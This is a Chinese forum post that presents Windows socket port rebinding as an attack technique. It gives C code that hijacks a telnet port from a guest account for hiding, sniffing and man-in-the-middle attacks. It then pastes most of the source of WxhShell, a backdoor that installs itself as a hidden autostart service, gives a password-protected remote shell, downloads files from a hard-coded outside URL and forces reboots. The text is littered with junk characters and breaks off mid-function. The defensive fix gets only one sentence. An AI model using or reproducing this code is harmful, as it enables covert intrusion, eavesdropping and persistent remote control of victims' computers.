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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #ZyY(S1.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -{z<+(K!$  
92(P~Sdv  
  saddr.sin_family = AF_INET; n@$("p  
6PyW(i(bs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `lcQ Yd<,4  
,(3oAj\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N`J]k B7  
gp<XTLJ@>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p#0L@!,  
('z:XW96  
  这意味着什么?意味着可以进行如下的攻击: cd._q2  
D k<NlH zp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c5(4rT{(m  
R ~"&E#C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]4onY >  
v\2- %  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u?rs6A[h#  
'Px}#f0IR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L\zyBfK}  
[NoOA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (Xl+Zi>\{  
$1y8X K7r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b5)a6qtb  
1]a\uq}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1t/mq?z:  
43,baeG  
  #include ] ^53Qbrv  
  #include tGJJ|mle>  
  #include L/?jtF:o  
  #include    / ?'FSWDU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BG8`B'i  
  int main() 4MrUo9L$s  
  { a0&L,7mu<'  
  WORD wVersionRequested; * hmoi  
  DWORD ret; *]:J@KGf  
  WSADATA wsaData; ;(@' +"  
  BOOL val; ]E $bK  
  SOCKADDR_IN saddr; >rXDLj-e  
  SOCKADDR_IN scaddr; 7.kgQ"?&  
  int err; ^c]c`w  
  SOCKET s; F~sUfqiJ'  
  SOCKET sc; t|m=X  
  int caddsize; WD@v<Wx)  
  HANDLE mt; =Eb$rc)  
  DWORD tid;   ;}H*|"z;!  
  wVersionRequested = MAKEWORD( 2, 2 ); .*B@1q  
  err = WSAStartup( wVersionRequested, &wsaData ); E[Q2ZqhgbP  
  if ( err != 0 ) { wGw<z[:f  
  printf("error!WSAStartup failed!\n"); op($+Q  
  return -1; O7oq1JI]Y  
  } G 2`hEX%  
  saddr.sin_family = AF_INET; ++ZP X'|  
   a@ ^)?cH!z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 biG :Xn  
3BSZz%va  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XS$#\UQ  
  saddr.sin_port = htons(23); :_|Xr'n`A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ojyP.R  
  { D63?f\  
  printf("error!socket failed!\n"); Z*n4$?%W  
  return -1; -/:!AxIH  
  } \]0#jI/:  
  val = TRUE; C;?<WtH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \dbaY:(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GX=U6n>  
  { 5+2qx)FZ  
  printf("error!setsockopt failed!\n"); :F_>`{  
  return -1; '~VF*i^4  
  } 6_&S ?yA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "E@A~<RKP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  z31g"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nRyx2\Py+  
6rM{r>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vVZ+u4y  
  { \opcn\vW  
  ret=GetLastError(); ZH<qidpR  
  printf("error!bind failed!\n"); Qxfds`4V9i  
  return -1; {v"Y!/ [z  
  } 9g|99Z  
  listen(s,2); }USOWsLSt  
  while(1) DVt^O [  
  { D`fIw` _  
  caddsize = sizeof(scaddr); D!8v$(#hR  
  //接受连接请求 yg6o#;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wq|7sk{  
  if(sc!=INVALID_SOCKET) &dPI<HlM  
  { N85ZbmU~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "ZL_  
  if(mt==NULL) O^q~dda  
  { 3:)_oHq  
  printf("Thread Creat Failed!\n"); %)Z,?DzZ  
  break; ?Yx2q_KZk  
  } !DUOi4I  
  } [{>3"XJ'  
  CloseHandle(mt); FOteN QTj  
  } =?_:h`}  
  closesocket(s); gtIEpYN+  
  WSACleanup(); sm{/S*3  
  return 0; j'OXT<n*  
  }   At'M? Q@v  
  DWORD WINAPI ClientThread(LPVOID lpParam) $3g M P+  
  { 4|4 *rhwp  
  SOCKET ss = (SOCKET)lpParam; e jR_3K^  
  SOCKET sc; 2PSkLS&IM  
  unsigned char buf[4096]; }=B~n0  
  SOCKADDR_IN saddr; u08j9) ,4  
  long num; l;$FR4}d  
  DWORD val; =q>lP+  
  DWORD ret; ,M:[GuXD<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NV==[$(r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Uw| -d[!  
  saddr.sin_family = AF_INET; b|*+!v:I>T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aPRMpY-YC3  
  saddr.sin_port = htons(23); / U!xh3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I`s~.fZt  
  { 2`rJr  
  printf("error!socket failed!\n"); omznSL  
  return -1; 'V8o["P  
  } \qTp#sF  
  val = 100; ^y%8_r&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JDW/Mc1bh  
  { 1Y%lt5,*  
  ret = GetLastError(); -0TI7 @  
  return -1; s8 u`v1  
  } DMTc{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q#1G4l.  
  { v V;]?  
  ret = GetLastError();  ^6b5}{>  
  return -1; -d thY(8  
  } h6bvUI+|h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "a(e2H2&T4  
  { eCWF0a  
  printf("error!socket connect failed!\n"); x iz+ R9p  
  closesocket(sc); p&#ju*i6z  
  closesocket(ss); 6pt|Crvu  
  return -1; R+!oPWfb  
  } Y; iI =U  
  while(1) |onLJY7)  
  { s Ytn'&$\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VbTX;?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |`pBI0Sjo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Dm$SW<!l|  
  num = recv(ss,buf,4096,0); 4.Fh4Y:$'  
  if(num>0) /sn }Q-Zy2  
  send(sc,buf,num,0); X]n`YF7  
  else if(num==0) 6, |>;,U7  
  break; KS1udH^Zc  
  num = recv(sc,buf,4096,0); b4EUr SL  
  if(num>0) Y+kuj],h  
  send(ss,buf,num,0); `t44.=%  
  else if(num==0) ;#+I"Ow  
  break; ]HB1JJiS~  
  } BG)zkn$  
  closesocket(ss); `z.sWF|f!O  
  closesocket(sc); >DbG )0|  
  return 0 ; )A6=P%;}>I  
  } &/:c?F?l  
C1(RgY|  
& P%#  
========================================================== :'xZF2  
k<Xb< U  
下边附上一个代码,,WXhSHELL gPA8A>U)[  
LE~vSm^#  
========================================================== p!)PbSw#  
2pv by`P4  
#include "stdafx.h" :;TF_S v  
VKfpk^rU  
#include <stdio.h> L@jpid95  
#include <string.h> g/WDAO?d  
#include <windows.h> ZoYllk   
#include <winsock2.h> v~W ;&{  
#include <winsvc.h> he@Y1CY  
#include <urlmon.h> C3N1t  
U>00B|<GJ  
#pragma comment (lib, "Ws2_32.lib") /?0|hi<_$  
#pragma comment (lib, "urlmon.lib") `:R9M+ OX  
uhnnjI  
#define MAX_USER   100 // 最大客户端连接数 IP-M)_I  
#define BUF_SOCK   200 // sock buffer 68w~I7D>  
#define KEY_BUFF   255 // 输入 buffer 9i lJ  
)~S`[jV5  
#define REBOOT     0   // 重启 \zBZ$5 rE  
#define SHUTDOWN   1   // 关机 Tr4\ `a-i  
H6>tto  
#define DEF_PORT   5000 // 监听端口 L?P[{Ohh/  
}sJ}c}b  
#define REG_LEN     16   // 注册表键长度 44t;#6p@%>  
#define SVC_LEN     80   // NT服务名长度 R?,v:S&i7;  
1}SON4U  
// 从dll定义API Snn4RB<(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3u 7A(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j|qdf3^f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U#sv.r/L}3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 69Z`mR  
7l09  
// wxhshell配置信息 ^^24a_+2  
struct WSCFG { {zc*yV\  
  int ws_port;         // 监听端口 0F6@aQ\y3  
  char ws_passstr[REG_LEN]; // 口令 |Q@(<'8=  
  int ws_autoins;       // 安装标记, 1=yes 0=no ftRdK>a D  
  char ws_regname[REG_LEN]; // 注册表键名 =Lb(N61  
  char ws_svcname[REG_LEN]; // 服务名 /UY'E<wBx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BT^=p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V\Y, 4&bI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0S }\ML  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4PR&67|AH_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V?>&9D"m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k8SY=HP  
tu@-+< *  
}; N6T  
!}c\u  
// default Wxhshell configuration a*_&[  
struct WSCFG wscfg={DEF_PORT, O-pH~E  
    "xuhuanlingzhe", |5q,%9_  
    1, kp!(e0n  
    "Wxhshell", m]'+Eye ]r  
    "Wxhshell", ep`8LQf  
            "WxhShell Service", _5p]Arg?}&  
    "Wrsky Windows CmdShell Service", E@l@f  
    "Please Input Your Password: ", 2#CN:b]+  
  1, s0h0Ep ED  
  "http://www.wrsky.com/wxhshell.exe", Sht3\cJ8  
  "Wxhshell.exe" G=CP17&h6  
    }; m(5LXH Jnv  
MCIuP`sC|  
// 消息定义模块 sYSq>M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gdh|X[d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; muBl~6_mb2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pN)>c,  
char *msg_ws_ext="\n\rExit."; .)1u0 (?  
char *msg_ws_end="\n\rQuit."; {}gL*2:EW$  
char *msg_ws_boot="\n\rReboot..."; *IF ~ab2  
char *msg_ws_poff="\n\rShutdown..."; $RHw6*COG  
char *msg_ws_down="\n\rSave to "; V' i@N  
<h<_''+  
char *msg_ws_err="\n\rErr!"; !+YSc&R_fW  
char *msg_ws_ok="\n\rOK!"; 1gvh6eE F  
p]toDy-}  
char ExeFile[MAX_PATH]; B{S^t\T$  
int nUser = 0; ]n'.}"8Kn  
HANDLE handles[MAX_USER]; +(w9! 5?F  
int OsIsNt; 5-'Z.[ImB?  
]/%CTD(O  
SERVICE_STATUS       serviceStatus; .#K\u![@N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <~svy)Cz  
#"H<k(-Cz  
// 函数声明 %RzkP}1>E  
int Install(void); Lm0q/d2|\X  
int Uninstall(void); `d x.<R#,  
int DownloadFile(char *sURL, SOCKET wsh); ~X'hRNFx~  
int Boot(int flag); X*bOE}  
void HideProc(void); i\4dd)p-  
int GetOsVer(void); :Fh_Ya0  
int Wxhshell(SOCKET wsl); DIhV;[\  
void TalkWithClient(void *cs); dWo$5Bls<A  
int CmdShell(SOCKET sock); f,3K;S-he:  
int StartFromService(void); 83'rQDo)G  
int StartWxhshell(LPSTR lpCmdLine); a", 8N"'  
|OZ>5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mVK^gJ3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m (kKUv  
JiXN"s^mcb  
// 数据结构和表定义 =~dXP  
SERVICE_TABLE_ENTRY DispatchTable[] = q^QLNKOH"  
{ (8~Hr?1B  
{wscfg.ws_svcname, NTServiceMain}, 3#F"UG2,_  
{NULL, NULL} / =v1.9(  
}; + eZn  
I=YZ!*f/`  
// 自我安装 $UdFm8&  
int Install(void) 7L]Y.7>  
{ ^5FwYXAxi  
  char svExeFile[MAX_PATH]; :/fT8KCwo  
  HKEY key; Ro2!$[P  
  strcpy(svExeFile,ExeFile); =trLL+vGw'  
k4"O} jQO  
// 如果是win9x系统,修改注册表设为自启动 _gCi@uXS3  
if(!OsIsNt) { w (ev=)7<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @ "C P@^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _Pl5?5eZj  
  RegCloseKey(key); M=EV^Tw-=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ik=bgEF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ag!q:6&  
  RegCloseKey(key); rC,ZRFF  
  return 0; #g1,U7vv8  
    } ;M *G  
  } 1ZWr@,\L  
} :ee'|c  
else { S9qc34\^=  
nfE4rIE4  
// 如果是NT以上系统,安装为系统服务 >[P`$XkXd4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `mN5sq  
if (schSCManager!=0) >kDkvg1"  
{ Cv]$w(k  
  SC_HANDLE schService = CreateService U/\LOIs  
  ( N'%l/  
  schSCManager, $n::w c  
  wscfg.ws_svcname, &>}f\ch/  
  wscfg.ws_svcdisp, y"w`yl{_  
  SERVICE_ALL_ACCESS, 9 tCF m.m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b X/%Q^Y  
  SERVICE_AUTO_START, -}H EV#ev  
  SERVICE_ERROR_NORMAL, =~k#<q1^  
  svExeFile, TO] cZZ<  
  NULL, ;\Pq  
  NULL, Z. xOO|  
  NULL, j3/K;U/SGJ  
  NULL,  .V l  
  NULL <bh!wf6;  
  ); :8lqo%5  
  if (schService!=0) su~J:~q  
  { nYnv.5  
  CloseServiceHandle(schService); Dq*O8*#*  
  CloseServiceHandle(schSCManager); __-V_(/b,x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !L@a;L  
  strcat(svExeFile,wscfg.ws_svcname); *1U"uJno  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qtS+01o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HQ/ Q"  
  RegCloseKey(key); G"*ch$:  
  return 0; YH0utc  
    } l-6W]\v Z  
  } -8Uz8//A  
  CloseServiceHandle(schSCManager); } FC(Z-g  
} 'L veCi_  
} :g)`V4%  
hx;0h&L  
return 1; L#u!T)!zW  
} m Wh   
aByd,uSe)_  
// 自我卸载 9Pdol!  
int Uninstall(void) ;0O>$|kg  
{ nSbcq>3  
  HKEY key; " VSma  
JP6+h>ft  
if(!OsIsNt) { S&Sa~Oq<o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CVGQ<,KVW  
  RegDeleteValue(key,wscfg.ws_regname); -Dr)+Y  
  RegCloseKey(key); aq.Lnbi/X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g6;a2  
  RegDeleteValue(key,wscfg.ws_regname); 2U'Vq  
  RegCloseKey(key); o[ 4e_ @E  
  return 0; 0M; aTM  
  } }r ;#|=HR  
} WC wM+D  
} Uk0 0lPG.U  
else { x:`"tJa  
$Rf)iW;h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B3@\Ua)  
if (schSCManager!=0) zd {\XW  
{ C+aL8_(R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s.>;(RiJd  
  if (schService!=0) =_vW7-H  
  { M}N[> ,2'  
  if(DeleteService(schService)!=0) { ::p(ViYG  
  CloseServiceHandle(schService);  <4 D.H  
  CloseServiceHandle(schSCManager); @[hD;xO  
  return 0; ~L=? F  
  } ge$p/  
  CloseServiceHandle(schService); lQf38u||  
  } n4DKLAl  
  CloseServiceHandle(schSCManager); ITBa ^P  
} ?;CMsO*q  
}  7D\:i1~  
ew|e66Tw$  
return 1; -zH` 9>J5|  
} Ydh+iLjhx  
DM3 %+ xY  
// 从指定url下载文件 7H_*1_%ZQ  
int DownloadFile(char *sURL, SOCKET wsh) *T0!q#R  
{ 3KN})*1  
  HRESULT hr; nb #)$l  
char seps[]= "/"; KDJ-IXoU  
char *token; fH ?s~X]  
char *file;  [?moS!  
char myURL[MAX_PATH]; Kb*X2#;*  
char myFILE[MAX_PATH]; A%% Vyz  
ZRj&k9D^U  
strcpy(myURL,sURL); Pfl8x  
  token=strtok(myURL,seps); ,g{Ob{qT  
  while(token!=NULL) 1 ac;6`  
  { G q2@37U  
    file=token; i'uSu8$'*  
  token=strtok(NULL,seps); vALH!Kh  
  } L31#v$;4  
]5:0.$5  
GetCurrentDirectory(MAX_PATH,myFILE); 8\$ u/(DX  
strcat(myFILE, "\\"); m 9.BU2.  
strcat(myFILE, file); L IRdWGQ4  
  send(wsh,myFILE,strlen(myFILE),0); Vae=Yg=fw  
send(wsh,"...",3,0); iJ!p9E*(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k/2TvEV3=  
  if(hr==S_OK) -=a,FDeR  
return 0; nn{PhyK  
else ^?-wov$  
return 1; 4-~S"T8<u  
roHJ$~q?  
} oS#PBql4  
noQS bI @  
// 系统电源模块 4ZrRgx2MD  
int Boot(int flag) Y3?)*kz%  
{ whh#J (  
  HANDLE hToken; @Avve8S  
  TOKEN_PRIVILEGES tkp; I9O%/^5^[w  
+9R@cUr  
  if(OsIsNt) { bDT@E,cSi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y.Y;<UGu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3&KRG}5  
    tkp.PrivilegeCount = 1; wlw`%z-B2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yp"h$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _j}jh[M  
if(flag==REBOOT) { 7'idjcR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %>!$ eCX  
  return 0; R 9b0D>Lxt  
} u E<1PgW  
else { ,<!v!~Iy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vl%UT@D|  
  return 0; (u-eL#@  
} ]lZ g }7h  
  } eizni\  
  else { eR>|1s%^  
if(flag==REBOOT) { V&Q_i E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vhKHiw9L  
  return 0; cE+Y#jB  
} vMeB2r<  
else { ZFNg+H/k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u{%dm5  
  return 0; BY`vs+]XY  
} }}gtz-w  
} D2 X~tl5<  
OI^sd_gkZ  
return 1; L^x h5{  
} w,eW?b  
Y>SpV_H%  
// win9x进程隐藏模块 w5* Z\t5  
void HideProc(void) 7,"y!\  
{ 1Ms_2  
8M8Odz\3 q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *IWWD\U  
  if ( hKernel != NULL ) 1w'W)x  
  { 6\vaR#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yz^4TqJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *~Sv\L  
    FreeLibrary(hKernel); SGK 5  
  } =;~*YD(%/  
#R*7y%cO  
return; ?(Ytc)   
} PM`iqn)@  
;C,t`(  
// 获取操作系统版本 JiFB<Q\  
int GetOsVer(void) &.[I}KH|B  
{ <7_s'UAL!  
  OSVERSIONINFO winfo; ?ZP@H _w6}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tui5?\  
  GetVersionEx(&winfo); Hd57Iw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L'u*WHj|v  
  return 1; <HH\VG\H6  
  else dheobD  
  return 0; e5#?@}?  
} IZ<Et/3H  
=B0AG9Fz  
// 客户端句柄模块 U88gJ[$  
int Wxhshell(SOCKET wsl) 3@wio[  
{ l4*vM  
  SOCKET wsh; _0"s6D$  
  struct sockaddr_in client; bi[g4,`Z;  
  DWORD myID; Q#zU0K*^  
k|`Qk!tr  
  while(nUser<MAX_USER) eL88lV]I  
{ Hq#q4Y  
  int nSize=sizeof(client); ]DjnzClx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Scfe6+\EW  
  if(wsh==INVALID_SOCKET) return 1; </!GU*  
E?S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^j7>Ul,  
if(handles[nUser]==0) *JF7 B  
  closesocket(wsh); `Gh J)WA<  
else pU1miA '  
  nUser++; ;e6L@)dp9  
  } >!bw8lVV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'Lh nl3  
6'Q*SO;1gh  
  return 0; lQ&J2H<w  
} &Gs/#2XQ  
~rlPS#]o  
// 关闭 socket !GnwE  
void CloseIt(SOCKET wsh) g[ N3jt@  
{ TjicltQi4  
closesocket(wsh); X}g"_wN,g>  
nUser--; z&yVU<;  
ExitThread(0); Mh]4K" cs  
} j937tn!Q  
*#83U?  
// 客户端请求句柄 31cZ6[  
void TalkWithClient(void *cs) 2=7:6Fw  
{ )=AWgA  
:+f6:3  
  SOCKET wsh=(SOCKET)cs; +]p/.- Uw  
  char pwd[SVC_LEN];  E]W :  
  char cmd[KEY_BUFF]; ~d-Q3n?zR  
char chr[1]; + cZC$lo  
int i,j; kgd dq  
B]I*ymc#  
  while (nUser < MAX_USER) { {t|Q9&  
=!u]t &yv  
if(wscfg.ws_passstr) { #j'7\SV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l ;S_J^S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )j!%`g  
  //ZeroMemory(pwd,KEY_BUFF); Cz6bD$5  
      i=0; .>1vN+  
  while(i<SVC_LEN) { ? (M$r\\  
baGV]=j  
  // 设置超时 e5(c,,/  
  fd_set FdRead; .|0$?w  
  struct timeval TimeOut; ^%O$7*  
  FD_ZERO(&FdRead); <Ok7 -:OxA  
  FD_SET(wsh,&FdRead); 0{/'[o7  
  TimeOut.tv_sec=8; Wr`<bLq1vs  
  TimeOut.tv_usec=0; m -0}Pe9L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mQ3gp&d3W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5w5"rcV  
0E9 lv"3o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,/Q`gRBh"  
  pwd=chr[0]; hqa6aYY x  
  if(chr[0]==0xd || chr[0]==0xa) { <5zr|BTF]F  
  pwd=0; Zt}b}Bz  
  break; -$I$zo  
  } EAHdt=8W{  
  i++; OZ/"W)  
    } 5 %+epzy  
G 2uM6  
  // 如果是非法用户,关闭 socket Z/q'^PB p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yji>vJHu  
} =3PZGdWD  
lo-VfKvy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5a4i)I6 3o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %~P3t=r  
\d3~kq3  
while(1) { #Q BW%L  
JsEnhE}]  
  ZeroMemory(cmd,KEY_BUFF); =&PO_t5)z  
hqV_MeHv'  
      // 自动支持客户端 telnet标准   @u`m6``T  
  j=0; <pM6fI6BD  
  while(j<KEY_BUFF) { :;\xyy}A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gp=V%w\FDW  
  cmd[j]=chr[0]; fi%lN_Ev?  
  if(chr[0]==0xa || chr[0]==0xd) { ?;A\>sP  
  cmd[j]=0; GC|V>| tz#  
  break; iFZ.a.NDc  
  } Ym6v4k!@O  
  j++; _ Td#C1g3  
    } NTSIClm}U  
qcge#S>  
  // 下载文件 >8&fFq  
  if(strstr(cmd,"http://")) { nELY(z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BU|)lU5)z  
  if(DownloadFile(cmd,wsh)) PP]7_h^ 2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C3~O6<,Jh  
  else &UO/p/a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 93 =?^  
  } V."cmtf  
  else { v=cX.^ L  
~du U& \  
    switch(cmd[0]) { zjSHa'9*  
  5mZwg(si  
  // 帮助 g?*D)W U  
  case '?': { TP/bX&bjCy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nRT ]oAi  
    break; ])q,mH  
  } ]YOWCFAQot  
  // 安装 w-C%,1F,/  
  case 'i': { =E-o@#BS  
    if(Install()) S+*>""=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5BK3ix*L  
    else Cxe(iwa.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1$^r@rP  
    break; /FjdcH=  
    } G-,0mo  
  // 卸载 OLV3.~T  
  case 'r': { >CwI(vXn  
    if(Uninstall()) Eo6qC?5<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $LcMG,8%_  
    else b1G6'~U-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = J]M#6N0  
    break; 9W-1P}e,  
    } 8"p rWAN  
  // 显示 wxhshell 所在路径 |:,`dQfw  
  case 'p': { /lhk} y^  
    char svExeFile[MAX_PATH]; 4J?\JcGs  
    strcpy(svExeFile,"\n\r"); /2MZH  
      strcat(svExeFile,ExeFile); 8~T=p:z'  
        send(wsh,svExeFile,strlen(svExeFile),0); ?y__ Vrw  
    break; tI5*0  
    } Mb45UG#2  
  // 重启 ZE1${QFkG  
  case 'b': { B>sQcZ:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hjhZ":I.  
    if(Boot(REBOOT)) t_Rj1U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?{xD{f$  
    else { cob??|,\m  
    closesocket(wsh); Vv+ oq5hf  
    ExitThread(0); =#A/d `2 b  
    } @Kw&XKe`  
    break; {,?Gj@$  
    } L+eK)Q  
